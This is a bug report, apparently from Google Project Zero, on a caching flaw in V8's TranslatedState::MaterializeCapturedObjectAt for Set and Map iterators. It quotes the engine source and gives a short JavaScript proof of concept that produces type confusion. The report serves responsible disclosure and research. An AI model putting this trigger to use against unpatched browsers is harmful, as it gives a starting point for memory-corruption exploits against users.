Chrome: V8: TranslatedState::MaterializeCapturedObjectAt caching bug Here'a snippet of TranslatedState::MaterializeCapturedObjectAt. case JS_SET_KEY_VALUE_ITERATOR_TYPE: case JS_SET_VALUE_ITERATOR_TYPE: { Handle<JSSetIterator> object = Handle<JSSetIterator>::cast( isolate_->factory()->NewJSObjectFromMap(map, NOT_TENURED)); Handle<Object> properties = materializer.FieldAt(value_index); Handle<Object> elements = materializer.FieldAt(value_index); Handle<Object> table = materializer.FieldAt(value_index); Handle<Object> index = materializer.FieldAt(value_index); object->set_raw_properties_or_hash(*properties); object->set_elements(FixedArrayBase::cast(*elements)); object->set_table(*table); object->set_index(*index); return object; } case JS_MAP_KEY_ITERATOR_TYPE: case JS_MAP_KEY_VALUE_ITERATOR_TYPE: case JS_MAP_VALUE_ITERATOR_TYPE: { Handle<JSMapIterator> object = Handle<JSMapIterator>::cast( isolate_->factory()->NewJSObjectFromMap(map, NOT_TENURED)); Handle<Object> properties = materializer.FieldAt(value_index); Handle<Object> elements = materializer.FieldAt(value_index); Handle<Object> table = materializer.FieldAt(value_index); Handle<Object> index = materializer.FieldAt(value_index); object->set_raw_properties_or_hash(*properties); object->set_elements(FixedArrayBase::cast(*elements)); object->set_table(*table); object->set_index(*index); return object; } For these 5 types, it doesn't cache the created objects like "slot->value_ = object". This can be used to create different objects but sharing the same properties which may lead to type confusion. PoC: function opt(b) { let iterator = new Set().values(); iterator.x = 0; let arr = [iterator, iterator]; if (b) return arr.slice(); } for (let i = 0; i < 100000; i++) opt(false); let res = opt(true); let a = res[0]; let b = res[1]; print(a === b); // false a.x = 7; print(b.x); // 7 a.a = 1.1; // transition b.b = 0x1234; a.a = 1.1; // type confusion This bug is subject to a 90 day disclosure deadline. After 90 days elapse or a patch has been made broadly available, the bug report will become visible to the public. Found by: lokihardt